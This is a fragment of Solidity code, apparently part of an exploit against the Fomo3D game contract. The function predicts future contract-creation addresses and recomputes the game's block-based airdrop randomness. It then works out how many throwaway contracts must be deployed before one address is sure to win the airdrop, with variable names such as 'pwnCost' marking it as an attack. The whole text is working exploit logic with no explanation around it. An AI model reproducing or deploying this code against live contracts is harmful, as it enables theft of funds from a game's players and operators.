func: function checkPwnData() private returns(uint256,uint256,address) {
          
          address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, address(this), 0x01)));
          uint256 _nContracts = 0;
          uint256 _pwnCost = 0;
          uint256 _seed = 0;
          uint256 _tracker = fomo3d.airDropTracker_();
          bool _canWin = false;
          while(!_canWin) {
              
              _seed = uint256(keccak256(abi.encodePacked(
                     (block.timestamp) +
                     (block.difficulty) +
                     ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
                     (block.gaslimit) +
                     ((uint256(keccak256(abi.encodePacked(_newSender)))) / (now)) +
                     (block.number)
              )));
  
              
              
              if((_seed - ((_seed / 1000) * 1000)) >= _tracker) {
                      _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, _newSender, 0x01)));
                      _nContracts++;
                      _pwnCost+= blankContractCost;
              } else {
                      _canWin = true;
                      
                      _pwnCost += pwnContractCost;
              }
          }
          return (_pwnCost,_nContracts,_newSender);
      }